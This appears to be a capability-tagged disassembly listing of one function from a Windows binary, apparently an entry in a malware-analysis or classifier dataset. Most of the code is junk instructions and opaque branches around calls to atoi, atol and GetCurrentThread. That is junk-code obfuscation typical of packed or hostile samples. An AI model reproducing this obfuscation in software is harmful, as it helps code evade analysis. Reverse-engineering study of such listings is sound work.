Function at 0x406c3b
Capabilities:
Move file
Query or enumerate registry value
Set console window title

Disassembly:
mov ecx, 0x224
mov edx, ecx
cld
mov eax, 0x5c5
cld
mov edx, 0xe737
mov eax, 0xba7
jmp 0x4058c7
sub edx, edx
cmp edx, 0xffe3
jb 0x4058f7
mov edx, 0x49f1
and eax, 0
add edx, eax
mov eax, 0xa6ab
mov edx, ecx
dec eax
and eax, 0
mov edx, 0x40b2
add eax, edx
and edx, 0
dec edx
mov eax, 0xc15b
dec eax
and eax, 0
jne 0x405911
and eax, 0
mov edx, edi
add eax, edx
mov eax, esp
mov edx, 0xf973
cld
mov eax, 0xe5e6
dec eax
mov edx, edi
sub eax, eax
not edx
mov edx, 0x4a97
mov eax, 0xe564
cmp edx, eax
jg 0x405936
mov eax, 0x7536
mov edx, ecx
dec eax
mov eax, 0x487
mov edx, ebp
not eax
and eax, 0
mov edx, 0xfad7
cld
sub ecx, 1
jne 0x4058f7
sub edx, edx
sub eax, eax
jg 0x405964
and edx, 0
not edx
mov edx, 0x141c
cld
and edx, 0
dec edx
mov edx, 0x6fb5
mov eax, 0x6832
cld
sub eax, eax
and edx, 0
cld
mov eax, edi
and edx, 0
cmp eax, edx
jbe 0x405990
mov edx, 0x17ab
sub eax, eax
and edx, eax
and edx, 0
and edx, 0x9db5
sub eax, eax
cld
and edx, 0
and eax, 0
or edx, eax
mov eax, 0x3670
mov edx, 0xd7de
cld
mov ecx, 0x114
mov eax, esp
mov edx, esp
inc eax
mov eax, 0x5902
mov edx, 0x77c7
jmp 0x4059e1
mov edx, 0xb6b3
mov eax, 0x6d55
cld
mov edx, 0x6bc1
mov eax, esp
cld
mov eax, esi
sbb eax, 0x5fa3
and edx, 0
and eax, 0
test edx, eax
jl 0x405a29
sub edx, edx
and eax, 0
cld
mov edx, esi
and eax, 0
xor edx, eax
and edx, 0
cld
mov edx, esp
cld
mov edx, 0x74d
cld
and eax, 0
mov edx, 0xcf5e
and eax, edx
sub ecx, 1
jne 0x4059ec
mov eax, edi
mov edx, 0x903f
inc eax
sub eax, eax
cmp eax, 0x3378
ja 0x405a7a
and edx, 0
mov eax, 0x18c7
or edx, eax
mov eax, esi
mov edx, edx
or eax, edx
and eax, 0
mov edx, ecx
cld
sub eax, eax
mov edx, esi
cld
and eax, 0
xor eax, 0x53f7
mov edx, 0x8f46
sub eax, eax
and edx, eax
mov eax, 0xcd87
mov edx, 0x261
not eax
mov eax, ecx
cld
mov eax, 0x47d3
sub edx, edx
cmp eax, edx
jg 0x405a9b
and eax, 0
mov edx, ecx
adc eax, edx
mov eax, 0xb77b
sub edx, edx
sub eax, edx
and eax, 0
sub edx, edx
cld
mov edx, 0x3cbc
mov eax, 0xf174
cld
mov ecx, 0x153
mov edx, 0x458a
mov eax, 0x4389
test edx, eax
jbe 0x405abe
mov edx, esi
mov eax, ecx
cld
sub eax, eax
and edx, 0
inc eax
sub ecx, 1
jne 0x405abe
mov edx, ebp
mov eax, esi
jmp 0x405b05
and edx, 0
and eax, 0
or edx, eax
mov ecx, 0x1ed
sub edx, edx
test edx, 0x5fc0
jg 0x405b27
mov eax, 0xe3d
mov edx, 0x7c8d
cld
sub edx, edx
cld
mov eax, edi
sub edx, edx
xor eax, edx
and edx, 0
and eax, 0
cld
mov eax, 0x3574
mov edx, 0x4587
jbe 0x405b4c
mov eax, 0xbfa9
and edx, 0
cld
sub ecx, 1
jne 0x405b2a
sub eax, eax
mov edx, ebx
test eax, edx
jg 0x405b64
mov edx, eax
mov eax, 0xc07c
inc edx
sub edx, edx
inc edx
mov eax, 0xe86f
mov edx, 0x94e0
or eax, edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov eax, 0x8c0c
and ecx, 0
test eax, ecx
ja 0x405b8d
mov eax, eax
dec eax
mov ecx, ebp
dec ecx
and ecx, 0
not ecx
mov edx, 0xd82e
mov ecx, esp
jmp 0x405ba8
mov edx, ecx
jae 0x405bb3
mov eax, 0x9d2d
not eax
push 0
and ecx, 0
sub edx, edx
cld
mov ecx, ecx
mov edx, 0x76a
jmp 0x405bdd
mov edx, ebp
sub ecx, ecx
sbb edx, ecx
mov ecx, esp
dec ecx
call dword [sym.imp.msvcrt.dll_atoi]
mov ecx, ebp
mov edx, esp
dec ecx
mov edx, eax
cld
mov edx, ebp
mov ecx, 0x53d
dec edx
pop ecx
sub edx, edx
mov ecx, ebp
cmp edx, ecx
jl 0x405c2a
mov edx, ecx
inc edx
mov edx, 0xca7c
mov ecx, ebp
or edx, ecx
mov edx, ebp
mov ecx, 0xcca1
cld
mov ecx, 0x3061
and edx, 0
inc ecx
mov edx, esp
mov ecx, 0xf609
cld
and edx, 0
mov ecx, eax
cmp edx, ecx
je 0x405c4c
mov edx, 0x7ed9
cld
and ecx, 0
mov edx, edx
not ecx
mov edx, esp
not edx
mov ecx, edx
mov edx, 0xf4ff
cld
mov edx, 0x254d
mov ecx, 0x7024
dec edx
mov ecx, edx
mov edx, 0xed17
cld
cmp eax, 0
jne 0x406caa
sub edx, edx
sub ecx, ecx
cmp edx, ecx
jl 0x405c88
mov edx, esp
mov ecx, 0xc87a
and edx, ecx
mov ecx, esp
mov edx, esp
inc ecx
mov ecx, ecx
and edx, 0
dec ecx
and ecx, 0
cld
mov ecx, 0x9a32
jmp 0x405c94
mov edx, 0x1c53
jmp 0x405cac
push 0
mov edx, 0x9e43
sub ecx, ecx
test edx, ecx
jae 0x405cd7
mov ecx, edx
mov edx, 0x4cfc
dec ecx
mov ecx, 0x987b
mov edx, edx
sub ecx, edx
sub ecx, ecx
and edx, 0
or ecx, edx
mov ecx, 0xbaf
dec ecx
and ecx, 0
and edx, 0
test ecx, edx
je 0x405d0d
mov edx, 0x2cb
mov ecx, 0xfd32
add edx, ecx
mov edx, 0x36b7
dec edx
sub edx, edx
cld
and ecx, 0
and edx, 0
add ecx, edx
mov ecx, 0x4709
mov edx, ebp
add ecx, edx
sub edx, edx
and ecx, 0
cld
mov ecx, esp
and edx, 0
dec ecx
mov edx, ecx
test edx, 0x7ca9
jbe 0x405d56
mov ecx, 0xcf17
mov edx, 0x2288
inc ecx
mov edx, 0x5ba5
mov ecx, edx
adc edx, ecx
and ecx, 0
mov edx, esp
cld
and ecx, 0
mov edx, 0x9caf
cld
and edx, 0
sub ecx, ecx
cld
mov ecx, edx
not ecx
sub edx, edx
mov ecx, 0x489c
cld
and edx, 0
cld
call dword [sym.imp.msvcrt.dll_atol]
mov edx, 0x9aff
mov ecx, 0xe14
jbe 0x405d93
mov ecx, ecx
cld
mov ecx, esp
mov edx, 0x7cfb
cld
and edx, 0
sub ecx, ecx
add edx, ecx
and ecx, 0
mov edx, ebp
cld
and edx, 0
mov ecx, eax
cld
mov ecx, ebp
mov edx, ecx
inc ecx
mov edx, 0xd2ea
mov ecx, ecx
inc edx
mov edx, 0xa4d5
sub edx, 0xecfc
sub ecx, ecx
mov edx, 0xb032
cld
mov ecx, 0xc396
jmp 0x405db5
mov ecx, 0x2ebc
sub edx, edx
xor ecx, edx
pop ecx
mov ecx, 0xe52f
mov edx, 0xd7be
sbb ecx, edx
mov ecx, ebp
mov edx, 0x2e0e
jb 0x405e00
and edx, 0
mov ecx, 0x90b
dec edx
and edx, 0
and ecx, 0
add edx, ecx
mov edx, ebp
mov ecx, 0x106b
inc edx
mov edx, 0x42d0
and ecx, 0
adc edx, ecx
sub edx, edx
mov ecx, 0x5710
xor edx, ecx
mov edx, 0x8130
sub ecx, ecx
inc edx
mov edx, edx
cmp edx, 0xa42e
jbe 0x405e38
mov ecx, esp
mov edx, 0x5958
add ecx, edx
sub ecx, ecx
sub edx, edx
cld
sub ecx, ecx
mov edx, 0xa27a
cld
mov edx, 0x1956
not edx
mov ecx, 0x93b
mov edx, eax
add ecx, edx
mov edx, 0x239
not edx
cmp eax, 0
jne 0x406caa
mov edx, eax
mov ecx, esp
test edx, ecx
jne 0x405e6f
mov edx, 0xe8b0
mov ecx, 0x8e81
dec edx
sub ecx, ecx
sub edx, edx
not ecx
and ecx, 0
sub edx, edx
cld
mov edx, 0xbb9f
mov ecx, ecx
cld
mov ecx, edx
mov edx, esp
cmp ecx, edx
jae 0x405e8d
sub edx, edx
cld
mov edx, ecx
sub edx, 0xac34
mov edx, ebp
cld
mov edx, ecx
or edx, 0xeb1b
mov edx, ecx
mov ecx, 0x20d5
test edx, ecx
jbe 0x405ec7
sub ecx, ecx
cld
and edx, 0
and ecx, 0
and edx, ecx
sub ecx, ecx
cld
mov ecx, 0x6ce6
and edx, 0
cld
mov ecx, 0x747c
mov edx, 0x8b8c
cld
mov ecx, edx
mov edx, ebp
adc ecx, edx
and ecx, 0
mov edx, ecx
xor ecx, edx
mov edx, eax
cmp edx, 0x45d7
je 0x405ee3
and edx, 0
mov ecx, ecx
dec edx
mov edx, 0x9e1
mov ecx, 0x4f39
sub edx, ecx
push 0
mov ecx, 0x2909
sub edx, edx
test ecx, edx
ja 0x405f2b
mov edx, 0x29bb
and ecx, 0
dec edx
sub edx, edx
mov ecx, 0xf4ab
cld
and ecx, 0
mov edx, 0x3283
cld
mov edx, esp
mov ecx, 0x3ac2
xor edx, ecx
mov edx, esp
adc edx, 0xc202
and edx, 0
mov ecx, esp
sub edx, ecx
sub edx, edx
inc edx
mov ecx, edx
and edx, 0
inc ecx
call dword [sym.imp.msvcrt.dll_atol]
mov ecx, 0x77aa
sub edx, edx
cmp ecx, edx
je 0x405f6f
mov ecx, edx
mov edx, 0x2d55
cld
mov ecx, edx
mov edx, 0x8455
adc ecx, edx
mov edx, 0x615f
mov ecx, eax
cld
mov ecx, 0x39ee
inc ecx
mov ecx, 0xa60a
dec ecx
mov ecx, 0xf40f
and edx, 0
add ecx, edx
sub edx, edx
not edx
pop ecx
mov edx, 0xd056
and ecx, 0
jmp 0x405f8a
sub edx, edx
sbb edx, 0xf5bb
cmp eax, 0
jne 0x406caa
sub edx, edx
mov ecx, 0x646b
cld
sub edx, edx
sub ecx, ecx
cmp edx, ecx
jg 0x405fd9
sub edx, edx
and ecx, 0
xor edx, ecx
sub ecx, ecx
mov edx, edx
cld
mov edx, esp
cld
mov ecx, 0xbbc8
mov edx, edx
cld
and edx, 0
mov ecx, esp
cld
mov edx, 0x22b8
mov ecx, 0xe5e6
sbb edx, ecx
mov edx, ecx
mov ecx, esp
cld
mov ecx, esp
sub edx, edx
dec ecx
mov ecx, 0x4cd0
test ecx, 0x95a
jl 0x405ff1
mov ecx, 0xc03f
inc ecx
push 0
sub ecx, ecx
mov edx, esp
test ecx, edx
ja 0x40601d
mov ecx, 0x84c4
mov edx, 0xb08a
not ecx
sub ecx, ecx
not ecx
mov edx, 0xa0a5
and ecx, 0
sbb edx, ecx
mov edx, edx
mov ecx, 0x5343
inc edx
mov edx, 0xe13f
sub ecx, ecx
jmp 0x40605f
and ecx, 0
mov edx, edx
cmp ecx, edx
je 0x4060a5
mov edx, 0xb389
mov ecx, eax
cld
sub edx, edx
sbb edx, 0x5bf5
sub edx, edx
sub ecx, ecx
add edx, ecx
mov ecx, 0x77cd
mov edx, 0x5992
inc ecx
and edx, 0
mov ecx, edx
sub edx, ecx
mov edx, edx
mov ecx, 0x34f6
inc edx
mov edx, eax
mov ecx, 0xeda9
cld
sub edx, edx
sub ecx, ecx
cld
and edx, 0
sub ecx, ecx
je 0x4060b3
sub edx, edx
and ecx, 0
adc edx, ecx
call dword [sym.imp.msvcrt.dll_atol]
mov edx, 0xd24
mov ecx, 0x4000
test edx, ecx
je 0x4060fb
sub edx, edx
mov ecx, ecx
not edx
mov ecx, 0xd6d6
mov edx, eax
cld
mov ecx, 0x22ba
and edx, 0
sub ecx, edx
mov edx, 0x4186
or edx, 0x8716
mov ecx, 0x700b
not ecx
mov ecx, ebp
mov edx, ecx
cld
sub edx, edx
mov ecx, ecx
cld
mov ecx, 0x9628
mov edx, 0xf473
dec ecx
mov ecx, 0xe7dc
mov edx, 0xd5b4
jmp 0x40612b
and edx, 0
sub ecx, ecx
sub edx, ecx
sub ecx, ecx
mov edx, 0xc530
jmp 0x406150
pop ecx
mov edx, ecx
cmp edx, 0x42da
jb 0x406166
sub edx, edx
mov ecx, edx
cld
and ecx, 0
sub edx, edx
inc ecx
sub edx, edx
mov ecx, 0x43ee
adc edx, ecx
mov ecx, ecx
jl 0x40617c
mov edx, 0xb2d8
mov ecx, ecx
xor edx, ecx
mov ecx, esp
cmp ecx, 0xf7b7
jl 0x4061b1
mov ecx, 0xbbbe
cld
sub ecx, ecx
not ecx
mov ecx, esp
mov edx, esp
dec ecx
mov ecx, 0x4c3c
sub ecx, 0x60c5
mov ecx, eax
sbb ecx, 0x63d7
mov edx, edx
mov ecx, 0x5c64
not edx
cmp eax, 0
jne 0x406caa
mov ecx, 0xd4ea
mov edx, eax
not ecx
push 0
mov edx, eax
test edx, 0x5f32
jb 0x40620e
and edx, 0
and ecx, 0
add edx, ecx
mov edx, 0x6741
inc edx
mov ecx, esp
not ecx
mov ecx, 0xf4ba
mov edx, 0x3b60
cld
mov ecx, 0xbbfe
mov edx, 0x3d1d
or ecx, edx
sub edx, edx
dec edx
mov edx, 0x518a
sub ecx, ecx
inc edx
mov ecx, 0x8e7e
mov edx, 0x4bfc
inc ecx
and edx, 0
inc edx
call dword [sym.imp.msvcrt.dll_atol]
mov edx, 0xa153
adc edx, 0x9396
mov edx, esp
and ecx, 0
jg 0x406255
mov ecx, ebp
mov edx, 0x1e3b
and ecx, edx
sub edx, edx
mov ecx, esp
adc edx, ecx
mov ecx, 0x1e38
mov edx, esp
cld
sub edx, edx
mov ecx, ecx
inc edx
and ecx, 0
inc ecx
mov ecx, 0xbc87
mov edx, 0x73bc
cld
pop ecx
sub edx, edx
cld
cmp eax, 0
jne 0x406caa
mov edx, 0x69bd
mov ecx, esp
cld
mov edx, 0x31b0
mov ecx, 0xed4d
test edx, ecx
jbe 0x4062a5
mov ecx, 0x217c
cld
mov edx, 0xd7be
mov ecx, eax
sbb edx, ecx
mov ecx, 0xe1c4
mov edx, edx
or ecx, edx
mov edx, 0x6cae
mov ecx, 0x6bef
cld
and ecx, 0
mov edx, 0x4306
not ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov eax, ebp
mov edx, eax
jne 0x4062de
mov eax, 0xf435
and edx, 0
cld
mov ecx, edx
mov edx, 0xce63
not ecx
mov eax, 0x3970
add eax, 0xd8fb
mov ecx, 0x3229
mov edx, 0xd721
dec ecx
mov edx, edx
and eax, 0
inc edx
sub ecx, ecx
cmp ecx, 0x6ba4
jae 0x4062f8
mov edx, ebp
or edx, 0x308f
mov edx, ecx
or edx, 0xe9a4
mov ecx, ebp
mov eax, eax
not ecx
push 0
mov ecx, 0x9b95
mov edx, ebp
test ecx, edx
jg 0x406342
mov edx, 0x6439
mov ecx, ebp
cld
mov edx, 0x5e57
mov ecx, edx
cld
mov ecx, edx
mov edx, 0xfbdc
and ecx, edx
and edx, 0
mov ecx, 0x19a
cld
mov ecx, esp
sub edx, edx
and ecx, edx
and ecx, 0
sub edx, edx
sbb ecx, edx
sub ecx, ecx
mov edx, 0xd4de
cld
mov ecx, ebp
mov edx, 0xbde8
adc ecx, edx
call dword [sym.imp.msvcrt.dll_atol]
sub edx, edx
mov ecx, 0xfa3a
cmp edx, ecx
jl 0x40638f
mov ecx, 0x600e
mov edx, 0x83a2
adc ecx, edx
sub ecx, ecx
mov edx, 0x605c
cld
mov ecx, 0xac94
adc ecx, 0x3f3b
mov edx, 0x40c3
mov ecx, 0xf99d
cld
and edx, 0
dec edx
mov ecx, edx
mov edx, eax
cld
sub ecx, ecx
mov edx, 0x1b3b
add ecx, edx
and edx, 0
and ecx, 0
not edx
pop ecx
sub ecx, ecx
test ecx, 0x4c49
je 0x4063e4
mov edx, ebp
mov ecx, 0x1f46
cld
mov edx, ebp
sbb edx, 0xa42a
mov edx, 0xafd8
mov ecx, ecx
not edx
mov ecx, eax
mov edx, 0x3c27
cld
mov ecx, 0xff79
mov edx, eax
cld
mov ecx, 0x5921
mov edx, eax
cld
sub edx, edx
mov ecx, 0xd10b
cld
mov ecx, 0x2872
mov edx, 0x31b9
cld
mov ecx, edx
sub edx, edx
add ecx, edx
cmp eax, 0
jne 0x406caa
mov ecx, 0x6085
mov edx, edx
jb 0x406440
and ecx, 0
mov edx, edx
cld
sub edx, edx
mov ecx, 0x993b
xor edx, ecx
and ecx, 0
mov edx, edx
inc ecx
mov ecx, edx
inc ecx
mov ecx, 0x997a
and edx, 0
or ecx, edx
mov edx, esp
and ecx, 0
inc edx
mov ecx, 0xb039
mov edx, 0xce96
cld
mov edx, ecx
sub ecx, ecx
add edx, ecx
mov edx, ecx
inc edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
sub ecx, ecx
sub eax, eax
cmp ecx, eax
je 0x406477
and edx, 0
mov ecx, ecx
cld
mov eax, 0x3f77
cld
mov edx, 0xc16f
mov ecx, ecx
sub edx, ecx
mov ecx, 0xfe5f
mov edx, esp
adc ecx, edx
mov ecx, edx
xor ecx, 0x8e86
push 0
mov ecx, ecx
test ecx, 0xa7ed
jae 0x4064b3
mov edx, edx
sub ecx, ecx
cld
sub edx, edx
cld
mov ecx, ebp
and edx, 0
cld
sub ecx, ecx
or ecx, 0x4d0b
mov ecx, edx
mov edx, 0xca35
dec ecx
mov ecx, edx
mov edx, esp
dec ecx
and ecx, 0
and edx, 0
dec ecx
sub edx, edx
sub ecx, ecx
not edx
mov edx, 0xfeae
cld
mov ecx, ebp
mov edx, eax
dec ecx
sub ecx, ecx
mov edx, eax
test ecx, edx
jae 0x4064ce
mov ecx, ecx
or ecx, 0xdc17
call dword [sym.imp.msvcrt.dll_atol]
mov edx, ebp
mov ecx, 0x34b2
cld
mov edx, 0x3b91
mov ecx, 0x3ab3
jmp 0x40652c
mov edx, 0x4090
mov ecx, 0x9dbc
or edx, ecx
mov ecx, 0x7053
jmp 0x40655f
mov edx, eax
mov ecx, 0x9499
cld
pop ecx
mov edx, 0xc982
mov ecx, eax
jmp 0x406575
sub ecx, ecx
sbb ecx, 0x1baa
sub ecx, ecx
mov edx, esp
cmp ecx, edx
ja 0x40659d
mov ecx, 0x732c
and edx, 0
inc ecx
and ecx, 0
xor ecx, 0xcd4f
mov edx, 0x7c2c
cld
mov ecx, 0xb727
mov edx, edx
cld
cmp eax, 0
jne 0x406caa
mov edx, ebp
mov ecx, 0xe5c4
adc edx, ecx
mov ecx, esp
and edx, 0
cmp ecx, edx
jl 0x4065d7
mov edx, esp
and ecx, 0
cld
and ecx, 0
sbb ecx, 0xb002
sub ecx, ecx
mov edx, 0xa41
cld
and edx, 0
and ecx, 0
xor edx, ecx
mov ecx, 0x472c
mov edx, esp
cld
push 0
sub edx, edx
sub ecx, ecx
sub edx, ecx
call dword [sym.imp.msvcrt.dll_atoi]
mov ecx, 0xbee3
sub edx, edx
adc ecx, edx
and edx, 0
mov ecx, 0x2284
or edx, ecx
pop ecx
mov edx, edx
mov ecx, esp
dec edx
mov edx, 0x130
mov ecx, edx
cld
sub ecx, ecx
mov edx, 0xa4b7
cmp ecx, edx
ja 0x406657
mov edx, ecx
cld
and ecx, 0
dec ecx
and edx, 0
sub edx, 0x59e7
and ecx, 0
dec ecx
mov edx, 0xdab4
and ecx, 0
dec edx
mov ecx, edx
mov edx, 0x60fc
not ecx
mov edx, 0x47d
sub ecx, ecx
cld
mov edx, eax
mov ecx, 0xd9b2
dec edx
mov edx, esp
mov ecx, 0x2bb0
test edx, ecx
jl 0x40666d
mov edx, 0xc307
mov ecx, 0xad24
dec edx
cmp eax, 0
jne 0x406caa
mov ecx, 0x6b2b
mov edx, eax
cmp ecx, edx
jl 0x406689
sub ecx, ecx
add ecx, 0x1ab1
and ecx, 0
sub ecx, 0x8298
push 0
mov ecx, 0x53a7
mov edx, esp
cmp ecx, edx
jb 0x4066b3
mov edx, edx
inc edx
mov ecx, 0xd19
mov edx, eax
sub ecx, edx
and edx, 0
and ecx, 0
adc edx, ecx
mov ecx, esp
mov edx, 0xe0a3
jg 0x4066db
mov edx, ecx
and ecx, 0
cld
and ecx, 0
cld
mov ecx, esp
mov edx, ebp
or ecx, edx
mov edx, 0x70c0
not edx
mov ecx, 0x21bd
mov edx, ecx
cld
mov ecx, 0xf7d6
mov edx, 0xe090
adc ecx, edx
mov ecx, 0x8b08
mov edx, edx
ja 0x40671e
and ecx, 0
mov edx, 0x8d15
add ecx, edx
mov ecx, 0xefa1
mov edx, 0xacae
add ecx, edx
and edx, 0
sub ecx, ecx
adc edx, ecx
mov edx, esp
mov ecx, ebp
sbb edx, ecx
and ecx, 0
mov edx, edx
inc ecx
mov edx, ebp
mov ecx, ecx
cld
sub edx, edx
and ecx, 0
not edx
call dword [sym.imp.msvcrt.dll_atol]
mov ecx, 0x93eb
mov edx, 0x1564
add ecx, edx
mov ecx, ebp
mov edx, 0x85dd
test ecx, edx
je 0x40674b
and edx, 0
mov ecx, 0x6a97
cld
pop ecx
mov ecx, 0x4ffe
mov edx, esp
add ecx, edx
and edx, 0
mov ecx, 0x380f
add edx, ecx
cmp eax, 0
jne 0x406caa
mov edx, ebp
mov ecx, 0xf69b
inc edx
sub ecx, ecx
sub edx, edx
test ecx, edx
je 0x40679d
mov ecx, 0x668c
mov edx, 0xe37d
not ecx
mov edx, 0x398c
inc edx
mov ecx, edx
mov edx, eax
cld
sub edx, edx
mov ecx, ecx
dec edx
mov ecx, 0x97fc
mov edx, ecx
sbb ecx, edx
push 0
mov edx, 0x3985
mov ecx, ebp
cld
call dword [sym.imp.msvcrt.dll_atoi]
mov ecx, 0xa54a
test ecx, 0xd06a
jbe 0x4067df
mov edx, 0x468c
cld
mov edx, edx
mov ecx, ecx
not edx
mov ecx, 0x3736
mov edx, eax
not ecx
mov edx, 0xe8d2
mov ecx, esp
dec edx
mov edx, edx
adc edx, 0x489a
mov edx, ecx
jae 0x406800
and edx, 0
add edx, 0x23c4
sub edx, edx
cld
mov edx, ecx
mov ecx, ebp
adc edx, ecx
mov ecx, 0x699b
adc ecx, 0x2c8f
mov ecx, esp
mov edx, ebp
test ecx, edx
jae 0x40681d
mov ecx, 0x9608
and edx, 0
inc ecx
mov edx, esp
dec edx
sub edx, edx
and ecx, 0
cld
mov edx, ecx
cld
mov ecx, 0xe008
cmp ecx, 0x3c78
ja 0x406842
mov edx, 0xabb7
mov ecx, 0x3759
inc edx
sub edx, edx
add edx, 0x7601
mov edx, ecx
sub ecx, ecx
dec edx
and ecx, 0
not ecx
pop ecx
mov edx, 0x21f
test edx, 0x5cf9
jl 0x406869
mov ecx, 0xc60c
mov edx, 0x640e
add ecx, edx
mov edx, 0xe72e
mov ecx, edx
dec edx
mov edx, 0x2648
adc edx, 0xe1fb
cmp eax, 0
jne 0x406caa
mov ecx, edx
mov edx, 0x2d6f
inc ecx
mov edx, esp
jmp 0x406891
mov ecx, esp
mov edx, ebp
test ecx, edx
je 0x4068a4
mov ecx, ecx
cld
mov ecx, 0xfb51
mov edx, eax
dec ecx
mov ecx, 0xbf9f
sub edx, edx
sub ecx, edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ecx, 0x23ac
and eax, 0
test ecx, eax
jae 0x4068d0
mov edx, 0x5cab
mov ecx, 0x6564
or edx, ecx
sub eax, eax
mov edx, edx
cld
mov eax, esp
and edx, 0
jne 0x406905
mov eax, 0xf968
add eax, 0x3eee
mov ecx, eax
cld
mov eax, ecx
mov edx, 0xdfeb
not eax
mov eax, 0x3c5
cld
mov eax, 0xd24c
sub edx, edx
add eax, edx
sub eax, eax
mov edx, 0x9cbf
not eax
sub ecx, ecx
mov eax, edx
jl 0x406931
mov ecx, ebp
cld
sub edx, edx
mov ecx, 0x2a78
cld
sub eax, eax
mov ecx, esp
adc eax, ecx
mov ecx, ebp
mov edx, ebp
add ecx, edx
mov ecx, esp
mov edx, esp
cld
and eax, 0
mov edx, 0x485a
adc eax, edx
call dword [sym.imp.msvcrt.dll___p__commode]
mov eax, ebp
and edx, 0
sub eax, edx
mov eax, edx
mov edx, eax
adc eax, edx
mov edx, ebp
mov ecx, edx
jmp 0x40696d
mov eax, 0x5f7f
and edx, 0
jmp 0x40697d
and ecx, 0
and edx, 0
jl 0x4069b6
mov edx, 0x538c
mov ecx, 0x93a7
cld
mov ecx, edx
mov edx, eax
cld
mov ecx, 0x6fbb
mov eax, 0x80c5
dec ecx
mov edx, 0x65d5
not edx
mov edx, 0xbc0
mov eax, edx
cld
mov eax, 0x62ed
not eax
push 0
mov ecx, 0x72d7
cld
and edx, 0
cmp edx, 0xe044
jne 0x4069ee
mov edx, ebp
mov ecx, 0xab0
dec edx
mov ecx, ebp
mov edx, edx
not ecx
mov edx, eax
and ecx, 0
cld
mov edx, 0x89f5
sub ecx, ecx
add edx, ecx
mov ecx, 0xce55
mov edx, esp
cld
mov edx, esp
and ecx, 0
inc edx
call dword [sym.imp.msvcrt.dll_atoi]
mov ecx, eax
mov edx, 0xa4d6
jg 0x406a30
mov edx, 0x160e
cld
mov ecx, 0x8071
sub edx, edx
not ecx
mov edx, 0x98d1
mov ecx, 0x9702
inc edx
and ecx, 0
mov edx, ecx
xor ecx, edx
sub edx, edx
inc edx
mov edx, ebp
cld
sub ecx, ecx
mov edx, ebp
add ecx, edx
mov ecx, 0x4b94
sub edx, edx
dec ecx
pop ecx
mov ecx, eax
sub edx, edx
test ecx, edx
jae 0x406a4a
and ecx, 0
and ecx, 0x27a7
mov ecx, ebp
adc ecx, 0xd907
and edx, 0
cld
cmp eax, 0
jne 0x406caa
sub edx, edx
mov ecx, 0x15a
not edx
sub ecx, ecx
and edx, 0
inc ecx
mov edx, eax
test edx, 0x85b7
jl 0x406aa9
mov ecx, ecx
mov edx, ecx
cld
and ecx, 0
mov edx, 0xf7d2
sub ecx, edx
mov ecx, edx
mov edx, 0x58eb
cld
mov ecx, 0x6c5f
cld
and ecx, 0
mov edx, ebp
cld
mov ecx, ebp
mov edx, ebp
dec ecx
sub ecx, ecx
cld
sub ecx, ecx
sub edx, edx
add ecx, edx
mov ecx, 0xaa48
mov edx, edx
jmp 0x406aea
sub edx, edx
sub ecx, ecx
not edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
sub eax, eax
sub edx, edx
cld
mov edx, 0x3cb8
mov ecx, 0x71d5
adc edx, ecx
mov edx, edx
mov ecx, esp
sub edx, ecx
mov ecx, 0xdde2
mov eax, ebp
xor ecx, eax
push 0
mov ecx, eax
inc ecx
and ecx, 0
mov edx, 0x7ce7
cmp ecx, edx
jne 0x406b2d
sub edx, edx
cld
sub ecx, ecx
cld
sub edx, edx
jmp 0x406b53
mov edx, esp
mov ecx, ecx
je 0x406b88
and edx, 0
mov ecx, 0xde5a
xor edx, ecx
mov edx, eax
mov ecx, 0x3e0a
xor edx, ecx
mov ecx, 0x99a2
mov edx, esp
inc ecx
mov ecx, 0x9129
mov edx, 0x1a98
cld
and ecx, 0
mov edx, 0x1d78
inc ecx
mov ecx, ecx
mov edx, 0x2b19
sbb ecx, edx
call dword [sym.imp.msvcrt.dll_atol]
mov ecx, 0xcd23
mov edx, 0x9538
jmp 0x406bb0
mov edx, eax
sub ecx, ecx
inc edx
mov ecx, edx
mov edx, ecx
cmp ecx, edx
jbe 0x406bcb
and ecx, 0
sub edx, edx
cld
and edx, 0
not edx
sub ecx, ecx
dec ecx
pop ecx
mov edx, ebp
mov ecx, 0x6fc5
not edx
cmp eax, 0
jne 0x406caa
mov edx, 0x3536
mov ecx, edx
dec edx
mov edx, 0x9e95
sub edx, 0xe983
mov edx, ecx
sub ecx, ecx
test edx, ecx
jb 0x406c19
mov edx, 0xee42
cld
mov ecx, esp
cld
and edx, 0
mov ecx, 0x8266
cld
mov edx, 0x684a
inc edx
mov ecx, 0xc621
sub edx, edx
cld
sub ecx, ecx
sub edx, edx
inc ecx
jmp fcn.00401088
and edx, 0
mov ecx, ecx
jne 0x406c56
mov eax, 0x238
and edx, 0
inc eax
mov eax, esp
mov ecx, ebp
inc eax
mov edx, edx
mov eax, eax
not edx
mov edx, 0xecaf
not edx
mov edx, 0xbc25
mov eax, 0x3ca2
dec edx
sub ecx, ecx
and eax, 0
adc ecx, eax
sub ecx, ecx
dec ecx
jmp 0x40587b
mov edx, 0xa6ff
mov eax, 0xf801
xor edx, eax
mov ecx, 0x662e
mov edx, 0xee73
test ecx, edx
jb 0x406cf9
mov ecx, ebp
mov edx, ecx
cld
and eax, 0
mov ecx, ecx
cld
mov ecx, 0x3cb0
mov edx, eax
cld
mov ecx, edx
inc ecx
mov edx, 0xc998
and ecx, 0
cld
and edx, 0
mov ecx, edx
or edx, ecx
sub eax, eax
sub edx, edx
dec eax
and ecx, 0
mov eax, 0x49c9
or ecx, eax
mov eax, 0xbadb
mov ecx, edx
dec eax
mov edx, ebp
sub eax, eax
jbe 0x406d0f
mov ecx, 0x8030
mov eax, edx
cld
sub eax, eax
mov edx, 0x1264
cmp eax, edx
je 0x406d50
mov eax, ecx
and edx, 0
cld
sub edx, edx
mov eax, 0xb9fd
inc edx
mov eax, ebp
mov edx, 0x8e7d
cld
mov edx, esp
sub eax, eax
add edx, eax
mov eax, 0xad4b
inc eax
mov eax, 0xaee8
mov ecx, 0xfdc5
or eax, ecx
sub ecx, ecx
mov eax, 0x5668
inc ecx
mov eax, esp
sub edx, edx
cmp eax, edx
je 0x406d91
mov eax, 0xc42d
mov edx, edx
cld
mov ecx, esp
mov edx, 0xbbeb
dec ecx
mov edx, ebp
mov ecx, 0xc915
cld
sub edx, edx
mov ecx, ebp
not edx
mov eax, edx
and ecx, 0
and eax, ecx
mov eax, 0x5693
and ecx, 0
dec eax
and eax, 0
mov ecx, ebp
dec eax
sub edx, edx
sub eax, eax
cld
